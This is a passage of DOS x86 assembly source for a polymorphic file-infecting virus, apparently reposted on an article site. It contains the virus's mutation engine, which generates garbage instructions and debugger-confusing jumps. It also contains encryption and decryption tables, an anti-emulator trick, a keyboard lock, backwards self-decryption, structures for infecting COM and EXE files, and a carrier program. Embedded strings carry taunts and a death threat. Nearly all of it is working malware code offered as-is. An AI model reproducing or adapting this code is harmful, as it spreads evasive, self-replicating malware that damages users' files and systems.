JB JMP_Poly_Gen

; Decryptor too small?

CMP DI, OFFSET Poly_Decryptor + Min_Decryptor
JB JMP_Poly_Gen

; Decryptor too large?

CMP DI, OFFSET Poly_Decryptor + Max_Decryptor
JNA Exit_Poly_Gen

JMP_Poly_Gen: JMP Poly_Generator

Exit_Poly_Gen: MOV AX, 0000h
Old_SS = WORD PTR $-2
MOV SS, AX
MOV SP, 0000h
Old_SP = WORD PTR $-2

CALL Pop_All

RETN



; << *** === ROUTINES POLYMORPHIC ENGINE === *** >>

Add_Garbage:
CALL Get_Random2

INC AX ; Prevent zero, and light
; garbage.

XCHG CX, AX

Dump_It: PUSH CX
CALL Garbage_Generator
POP CX

CMP DI, OFFSET Poly_Decryptor + Max_Decryptor
JA Exit_Garbage

LOOP Dump_It
Exit_Garbage:
RETN


Jnk_INT:
MOV AX, (Tbl_INTs_End - Tbl_INTs)
MOV BX, OFFSET Tbl_INTs
CALL Get_Random

RETN

; Standard stupid one-byte instructions.
Jnk_One_Byte:
MOV AX, (End_Garbage_Table_1 - Garbage_Table_1)
MOV BX, OFFSET Garbage_Table_1
CALL Get_Random

XLAT
STOSB

RETN


Jnk_Two_Byte:
MOV AX, (End_Garbage_Table_2 - Garbage_Table_2) / 2
CALL Get_Random

SHL AX, 1 ; MUL 2

XCHG BX, AX

MOV AX, OFFSET Garbage_Table_2[BX]
STOSW

RETN


; Makes a MOV Reg16 (non Ptr_Reg), random #.
Jnk_MOV_Reg16:
MOV BX, OFFSET MOV_Reg16
CALL Get_Random7

CMP AL, Ptr_Reg ; Don't use pointer-register.
JE Jnk_MOV_Reg16

XLAT ; MOV Reg16,
STOSB

IN AX, 40h ; Stupid random value.
STOSW

RETN

; Generates a cover-up JMP to confuse debuggers/disassemblers, inspired
; by Havoc:
;
; CLC
; JNC Over_Byte
;
; DB 0EAh ; JMP FAR
;
; Over_Byte:
;
Cover_JMP:
MOV AX, 73F8h
STOSW

MOV AX, 0EA01h
STOSW

RETN


Garbage_Generator:

MOV AX, 19 ; Pick random garbageroutine.
CALL Get_Random
JZ Jnk_One_Byte

DEC AX
JZ Jnk_Two_Byte

DEC AX
JZ Jnk_MOV_Reg16

DEC AX
JZ Jnk_INC_Reg16

DEC AX
JZ Jnk_ADD_8_Reg16

DEC AX
JZ Jnk_ADD_16_Reg16

DEC AX
JZ Jnk_DEC_Reg16

DEC AX
JZ Jnk_SUB_8_Reg16

DEC AX
JZ Jnk_SUB_16_Reg16

DEC AX
JZ Jnk_Make_CMPJMP

DEC AX
JZ Jnk_PUSHPOP

DEC AX
JZ Jnk_CALL_Gap

DEC AX
JZ Jnk_CALL_Gap

DEC AX
JZ Jnk_CALL

DEC AX
JZ Jnk_CALL

DEC AX
JZ Jnk_INT_Function

DEC AX
JZ Jnk_MOV_Reg8

DEC AX
JZ Cover_JMP

MOV AL, 0CDh ; INT opcode.
STOSB

MOV AX, (Tbl_INTs_End - Tbl_INTs)
MOV BX, OFFSET Tbl_INTs
CALL Get_Random

XLAT ; Get INT#.
STOSB

RETN


; Random MOV Reg8 (non Ptr_Reg), immediate.
Jnk_MOV_Reg8:
MOV AX, 8 ; AL/AH/BL/BH/CL/CH/DL/DH ?
MOV BX, OFFSET MOV_Reg8
CALL Get_Random

CMP AL, 2 ; Avoid BL
JB Do_MOV_Reg8

CMP AL, 3 ; Avoid BH
JA Do_MOV_Reg8

CMP Ptr_Reg, 0 ; Ptr_Reg is BX ?
JZ Jnk_MOV_Reg8

Do_MOV_Reg8: XLAT
STOSB

IN AL, 40h
STOSB

RETN


Gen_JMP_8:

; Makes a CMP Reg8/Reg16 random.
Jnk_Make_CMPJMP:
CALL Get_Random3 ; Make a CMP first?
JZ Jnk_Make_JMP_8

IN AX, 40h ; Get semi-random#.

AND AL, 00000001b ; byte/word
OR AL, 10000000b ; CMP Reg8/Reg16

OR AH, 11111000b

STOSW

TEST AL, 00000001b ; Byte or word?

IN AX, 40h

JZ Jnk_CMP_B

STOSB

Jnk_CMP_B: STOSB

Jnk_Make_JMP_8: MOV AX, (End_Tbl_JMP_8 - Tbl_JMP_8)
MOV BX, OFFSET Tbl_JMP_8
CALL Get_Random

XLAT ; JMP_8 $+2
STOSW

PUSH DI

CALL Add_Garbage

POP BX

MOV AX, DI
SUB AX, BX

MOV [BX-1], AL

RETN

Jnk_Make_MOV:
IN AL, 40h

AND AL, 10111111b
OR AL, 10111000b ; MOV Reg16
STOSB

IN AX, 40h
STOSW

Jnk_PUSHPOP:

MOV AX, 11
MOV BX, OFFSET PUSH_Reg16
CALL Get_Random

PUSH AX

XLAT
STOSB

CALL Add_Garbage

POP AX
MOV BX, OFFSET POP_Reg16

XLAT
STOSB

RETN

Beast DB '[666h]'

; Makes a CALL backwards.
Jnk_CALL:
MOV AX, Max_CALL_Entry
CALL Get_Random

SHL AX, 1 ; MUL 2

XCHG CX, AX

Get_Free_Offs: MOV SI, OFFSET Tbl_CALL_Dest
ADD SI, CX

INC CX
INC CX

LODSW

OR AX, AX ; Set? Then assume valid IP.
JNZ Got_CALL_Offs

CMP CX, Max_CALL_Entry+2
JB Get_Free_Offs

XOR CX, CX
DEC BX
JZ Exit_AAA

JMP Get_Free_Offs

Got_CALL_Offs: AND WORD PTR [SI-2], 00h

PUSH AX

MOV AL, 0E8h ; CALL
STOSB

POP BX

MOV AX, DI
SUB AX, BX

NEG AX
DEC AX
DEC AX

STOSW

INC CALLs_Made
Exit_AAA:
RETN


; Makes a gap for future calls.
Jnk_CALL_Gap:

MOV AX, 00EBh ; JMP SHORT $+2
STOSW

PUSH DI

CALL Add_Garbage

POP BX

MOV AX, DI
SUB AX, BX
INC AX ; Plus RETN

MOV [BX-1], AL ; Set displacement.

MOV SI, OFFSET Tbl_CALL_Dest

MOV CX, Max_CALL_Entry

Next_Call_Offs: LODSW

OR AX, AX
JZ Spot_Found

LOOP Next_Call_Offs

JMP Exit_2

Spot_Found: MOV [SI-2], BX

Exit_2: MOV AL, 0C3h ; RETN
STOSB

CALL Add_Garbage

RETN

Jnk_INT_Function:

CALL Get_Random2
JZ INT_AX

MOV AX, (End_Tbl_Functions_AH - Tbl_Functions_AH) / 2
CALL Get_Random

SHL AX, 1 ; MUL 2

MOV SI, OFFSET Tbl_Functions_AH
ADD SI, AX

MOV AL, 0B4h ; MOV AH,
STOSB

LODSB
STOSB

MOV AL, 0CDh ; INT
STOSB

LODSB
STOSB

RETN

INT_AX:
MOV AX, (End_Tbl_Functions_AX - Tbl_Functions_AX) / 3
CALL Get_Random

MOV CL, 3
MUL CL

MOV SI, OFFSET Tbl_Functions_AX
ADD SI, AX

MOV AL, 0B8h ; MOV AX,
STOSB

LODSW
STOSW

MOV AL, 0CDh ; INT opcode.
STOSB

LODSB
STOSB

RETN


;----------------------------------------------------------------------------
Jnk_INC_Reg16:
CALL Get_Random7 ; Get random register.

CMP AL, Ptr_Reg
JE Jnk_INC_Reg16

JMP Store_INC

Make_INC_Reg16: MOV AL, Ptr_Reg
Store_INC: MOV BX, OFFSET INC_Reg16

XLAT
STOSB

RETN

;----------------------------------------------------------------------------
Jnk_ADD_8_Reg16:
IN AL, 40h ; Get random in CL.
XCHG CX, AX

CALL Get_Random7 ; Pick random register.

CMP AL, Ptr_Reg ; Avoid our Ptr_Reg.
JE Jnk_ADD_8_Reg16

JMP Store_ADD_8

Make_ADD_8_Reg16:

MOV AL, Ptr_Reg

Store_ADD_8:
PUSH AX

MOV AL, 83h ; Aritmic.
STOSB

POP AX

MOV BX, OFFSET ADD_Reg16

XLAT
STOSB

XCHG CX, AX
STOSB

RETN

;----------------------------------------------------------------------------
Jnk_ADD_16_Reg16:
IN AX, 40h ; Get random in CX.
XCHG CX, AX

CALL Get_Random7 ; Pick random register.

CMP AL, Ptr_Reg ; Avoid our Ptr_Reg.
JE Jnk_ADD_16_Reg16

JMP Store_ADD_16

Make_ADD_16_Reg16:
MOV AL, Ptr_Reg

Store_ADD_16: PUSH AX

MOV AL, 81h ; Aritmic.
STOSB

POP AX

MOV BX, OFFSET ADD_Reg16

XLAT
STOSB

XCHG CX, AX
STOSW

RETN

;----------------------------------------------------------------------------

Jnk_DEC_Reg16:
CALL Get_Random7 ; Get random register.

CMP AL, Ptr_Reg
JE Jnk_DEC_Reg16

JMP Store_DEC

Make_DEC_Reg16: MOV AL, Ptr_Reg
Store_DEC: MOV BX, OFFSET DEC_Reg16

XLAT
STOSB

RETN

;----------------------------------------------------------------------------
Jnk_SUB_8_Reg16:
IN AL, 40h ; Get random in CL.
XCHG CX, AX

CALL Get_Random7 ; Pick random register.

CMP AL, Ptr_Reg ; Avoid our Ptr_Reg.
JE Jnk_SUB_8_Reg16

JMP Store_SUB_8

Make_SUB_8_Reg16:

MOV AL, Ptr_Reg

Store_SUB_8: PUSH AX

MOV AL, 83h ; Aritmic.
STOSB

POP AX

MOV BX, OFFSET SUB_Reg16

XLAT
STOSB

XCHG CX, AX
STOSB

RETN

;----------------------------------------------------------------------------
Jnk_SUB_16_Reg16:
IN AX, 40h ; Get random in CX.
XCHG CX, AX

CALL Get_Random7 ; Pick random register.

CMP AL, Ptr_Reg ; Avoid our Ptr_Reg.
JE Jnk_SUB_16_Reg16

JMP Store_SUB_16

Make_SUB_16_Reg16:
MOV AL, Ptr_Reg

Store_SUB_16: PUSH AX

MOV AL, 81h ; Aritmic.
STOSB

POP AX

MOV BX, OFFSET SUB_Reg16

XLAT
STOSB

XCHG CX, AX
STOSW

RETN



; Can you believe most ppl love their "dad" ?

DB 'SuPReSSeD bY KReaToR'


; === TABLES OF POLYMORPH ENGINE ===

Tbl_Functions_AH:
DB 01h, 13h ; Get disk system status.
DB 0Dh, 13h ; Alternate disk reset.
DB 10h, 13h ; Test fixed disk system status.
DB 0Bh, 21h ; Check STDIN status. *
DB 0Dh, 21h ; Reset disk. *
DB 19h, 21h ; Get default drive.
DB 4Dh, 21h ; Get return code.
DB 54h, 21h ; Get verify flag.
DB 68h, 21h ; Flush buffer.
DB 40h, 67h ; Get manager state.
DB 46h, 67h ; Get EMM-version.
End_Tbl_Functions_AH:


Tbl_Functions_AX:
DWB 3300h, 21h ; Get Ctrl-Break flag.
DWB 3305h, 21h ; Get boot drive code.
DWB 4300h, 21h ; Get file-attributes.
DWB 5700h, 21h ; Get file date & time.
DWB 5800h, 21h ; Get allocation strategy.
DWB 5802h, 21h ; Get UMB link status.
DWB 0100h, 2Fh ; Get PRINT.COM status.
DWB 0600h, 2Fh ; Get ASSIGN.COM status.
DWB 0800h, 2Fh ; Get DRIVER.SYS status.
DWB 1000h, 2Fh ; Get SHARE.EXE status.
DWB 1100h, 2Fh ; Get network redirector status.
DWB 1400h, 2Fh ; Get NLSFUNC.COM status.
DWB 1500h, 2Fh ; Get CD-ROM interface status.
DWB 1A00h, 2Fh ; Get ANSI.SYS status.
DWB 4300h, 2Fh ; Get XMS-driver installed status.
DWB 4800h, 2Fh ; Get DOSKEY.COM status.
DWB 0B000h, 2Fh ; Get GRAFTABL.COM status.
DWB 0B700h, 2Fh ; Get APPEND.EXE status.
DWB 0B702h, 2Fh ; Get APPEND.EXE version.
DWB 000Bh, 33h ; Read motion counters.
End_Tbl_Functions_AX:


Tbl_INTs:
DB 01h ; Single step.
DB 03h ; Breakpoint.
DB 08h ; System timer. **
DB 0Ah
DB 0Bh
DB 0Ch
DB 0Dh ; Harddisk management. **
DB 0Eh ; Floppydisk management. **
DB 0Fh ; Printer management. **
DB 11h ; Get equipment status.
DB 12h ; Get DOS memory size.
DB 1Ch ; Timer tick. **
DB 28h ; DOS safe to use.
DB 2Bh
DB 2Ch
DB 2Dh
DB 70h ; Dunno, I just ripped 'em from SuckSexee.
DB 71h
DB 72h
DB 73h
DB 74h
DB 76h ; I/O ready.
DB 77h
Tbl_INTs_End: ; ** could cause inconsistency.



; I was a HUGE fan of Bruce Lee back in the 80's, all his
; movies were SO FUCKING GREAT! It's a real shame he died...

DB 'Bruce Lee was the best...'


; Table with one-byte "dummy"-instructions.
Garbage_Table_1:
XCHG CX, AX
XCHG DX, AX
IN AL, DX
IN AX, DX
XLAT
LAHF
AAA
DAA
AAS
DAS
CBW
CWD
INT 03h
CLC
STC
CMC
CLD
STD
STI
HLT ; Hmmm... at least I don't use CLI's.
WAIT
NOP
End_Garbage_Table_1:


Garbage_Table_2:
DB 094h, 094h ; XCHG SP, AX / XCHG AX, SP
DB 044h, 04Ch ; INC SP / DEC SP
DB 023h, 0C3h ; AND AX, BX
DB 00Bh, 0C3h ; OR AX, BX
DB 0F7h, 0D0h ; NOT AX
DB 0F7h, 0D8h ; NEG AX
DB 085h, 0C2h ; TEST AX, DX
DB 013h, 0D3h ; ADC DX, BX
DB 01Bh, 0C1h ; SBB AX, CX
DB 0E2h, 0FEh ; LOOP $
DB 0E2h, 000h ; LOOP $+2
DB 033h, 0C9h ; XOR CX, CX
DB 0F7h, 0E1h ; MUL CX
DB 0F6h, 0E2h ; MUL DL
DB 02Bh, 010h ; SUB DX, [BX+SI]
DB 0D1h, 0E2h ; SHL DX, 1
DB 08Dh, 005h ; LEA AX, [DI]
End_Garbage_Table_2:


DB 'G3T TH3 L4M3RS!'


; === Table of opcodes & operands. ===

;---> BX SI DI BP AX CX DX
MOV_Reg16 DB 0BBh, 0BEh, 0BFh, 0BDh, 0B8h, 0B9h, 0BAh
INC_Reg16 DB 043h, 046h, 047h, 045h, 040h, 041h, 042h
DEC_Reg16 DB 04Bh, 04Eh, 04Fh, 04Dh, 048h, 049h, 04Ah
CMP_Reg16 DB 0FBh, 0FEh, 0FFh, 0FDh, 0F8h, 0F9h, 0FAh
ADD_Reg16 DB 0C3h, 0C6h, 0C7h, 0C5h, 0C0h, 0C1h, 0C2h
SUB_Reg16 DB 0EBh, 0EEh, 0EFh, 0EDh, 0E8h, 0E9h, 0EAh

Ptr_Addr:
ADD_Ptr DB 087h, 084h, 085h, 086h
SUB_Ptr DB 0AFh, 0ACh, 0ADh, 0AEh
XOR_Ptr DB 0B7h, 0B4h, 0B5h, 0B6h
INC_Ptr DB 087h, 084h, 085h, 086h
DEC_Ptr DB 08Fh, 08Ch, 08Dh, 08Eh
NOT_Ptr DB 097h, 094h, 095h, 096h
NEG_Ptr DB 09Fh, 09Ch, 09Dh, 09Eh
ROL_Ptr DB 087h, 084h, 085h, 086h
ROR_Ptr DB 08Fh, 08Ch, 08Dh, 08Eh


;---> BX SI DI BP AX CX DX DS ES SS FLG
PUSH_Reg16 DB 53h, 56h, 57h, 55h, 50h, 51h, 52h, 1Eh, 06h, 16h, 9Ch
POP_Reg16 DB 5Bh, 5Eh, 5Fh, 5Dh, 58h, 59h, 5Ah, 1Fh, 07h, 17h, 9Dh


;---> AL AH BL BH CL CH DL DH
MOV_Reg8 DB 0B0h, 0B4h, 0B3h, 0B7h, 0B1h, 0B5h, 0B2h, 0B6h


; Dedicated to a certain asshole, who uses the law 2 bring me down...

DB 'Prepare to die...'
DB 'Your time has come, '
DB 'I WILL KILL YOU!'


; 8-Bit displacement JMPs.

Tbl_JMP_8:
DB 0EBh ; JMP SHORT
DB 074h
DB 07Ch
DB 07Eh
DB 072h
DB 076h
DB 07Ah
DB 070h
DB 078h
DB 075h
DB 07Dh
DB 07Fh
DB 073h
DB 077h
DB 07Bh
DB 071h
DB 079h
End_Tbl_JMP_8:


Tbl_Crypt_Index DB 1 ; Decrypt ADD-encryption with SUB.
DB 0 ; Decrypt SUB-encryption with ADD.
DB 2 ; Decrypt XOR-encryption with XOR.
DB 4 ; Decrypt INC-encryption with DEC.
DB 3 ; Decrypt DEC-encryption with INC.
DB 5 ; Decrypt NOT-encryption with NOT.
DB 6 ; Decrypt NEG-encryption with NEG.
DB 8 ; Decrypt ROL-encryption with ROR.
DB 7 ; Decrypt ROR-encryption with ROL.

Tbl_Encryptors DW 0580h ; ADD
DW 2D80h ; SUB
DW 3580h ; XOR
DW 05FEh ; INC
DW 0DFEh ; DEC
DW 15F6h ; NOT
DW 1DF6h ; NEG
DW 05D0h ; ROL
DW 0DD0h ; ROR


Tbl_Decr_Opcode DB 080h ;
DB 080h
DB 080h
DB 0FEh
DB 0FEh
DB 0F6h
DB 0F6h
DB 0D0h
DB 0D0h


JMP_Start_File: JMP Start_File


DB 'Greets to the CCC!'

Decrypt_2:
PUSH AX
PUSH BX ; Save most registers.
PUSH CX
PUSH DX
PUSH BP
PUSH DI
PUSH DS
PUSH ES

PUSH CS
POP DS

CALL Get_Delta ; Get our delta-offset.
Get_Delta: POP SI
SUB SI, OFFSET Get_Delta

MOV AX, 3D00h ; Open non-existing file.
MOV DX, SI
INT 21h ; Emulators never return
JC Emulator_Dead ; errors.

MOV AX, 4C00h ; Exit to DOS.
INT 21h

Emulator_Dead: IN AL, 21h ; Lock keyboard.
OR AL, 00000010b
OUT 21h, AL

; Backwards encryption, prevents lamers from setting breakpoints.

MOV BX, (3 + 24) ; After stored header.

Decrypt_File: XOR BYTE PTR [SI+BX], 00h
Key_Fix_Layer = BYTE PTR $-1
INC BX

CMP BX, OFFSET Decrypt_2
JE JMP_Start_File

JMP Decrypt_File

START:

JMP_Decrypt_2: JMP Decrypt_2

Virus_End: ; *** ENTRYPOINT OF INFECTED FILES ***


CALLs_Made DW 0
Return_Address DW 0
i24h DW 0, 0
Int13h_AH DB 0

Encrypt_Algo DB Max_Layers DUP(0)
Decrypt_Key DB Max_Layers DUP(0)
Decrypt_Delta DW Max_Layers DUP(0)
Tbl_CALL_Dest DW Max_CALL_Entry DUP(0)
Dir_Path DB 128 DUP(0)
Poly_Decryptor DB Max_Decryptor DUP(0)

Header DB 26 DUP(0)

Buffer DB 512 DUP(0)


;-------------- Structures --------------------------------------------------


COM_Header STRUC
Jump DB 0
Displacement DW 0
COM_Header ENDS


EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Headersize_Para DW 0
Min_Mem_Para DW 0
Max_Mem_Para DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Offs_RelocTable DW 0
Overlay_Number DW 0
Undocumented DW 0
Unused DW 0
EXE_Header ENDS


FindFirstHandle STRUC
Handle_Reserved DB 21 DUP(0)
Handle_Attr DB 0
Handle_Time DW 0
Handle_Date DW 0
Handle_Size DD 0
Handle_Name DB 13 DUP(0)
FindFirstHandle ENDS


FindFirst_FCB STRUC
FCB_Drive DB 0
FCB_Name DB 8 DUP(0)
FCB_Ext DB 3 DUP(0)
FCB_Attr DB 0
FCB_Reserved DB 10 DUP(0)
FCB_Time DW 0
FCB_Date DW 0
FCB_Start_Clust DW 0
FCB_Size DD 0
FindFirst_FCB ENDS


Push_All_Stack STRUC
Reg_ES DW 0
Reg_DS DW 0
Reg_DI DW 0
Reg_SI DW 0
Reg_BP DW 0
Reg_DX DW 0
Reg_CX DW 0
Reg_BX DW 0
Reg_AX DW 0
Reg_Flags DW 0
Reg_Ret_Addr DW 0
Push_All_Stack ENDS


Bootsector STRUC
bs_Jump DB 3 DUP(0)
bs_OEM_Name DB 8 DUP(0)
bs_Bytes_Sector DW 0
bs_Sectors_Unit DB 0
bs_Reserved_Sec DW 0
bs_FAT_Copies DB 0
bs_Root_Entries DW 0
bs_Num_Sectors DW 0
bs_Descriptor DB 0
bs_Sectors_FAT DW 0
bs_Sector_Track DW 0
bs_Number_Heads DW 0
bs_Hidden_Sect DW 0
Bootsector ENDS


Carrier:
PUSH CS
POP DS

MOV AH, 09h
MOV DX, OFFSET Carrier_Msg
INT 21h

MOV AX, 4C00h
INT 21h

Carrier_Msg DB 'TH3 W1D0WM4K3R H4S C0M3 T0 T4K3 Y0UR L1F3...'
DB 0Ah, 0Dh, '$'

END START

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT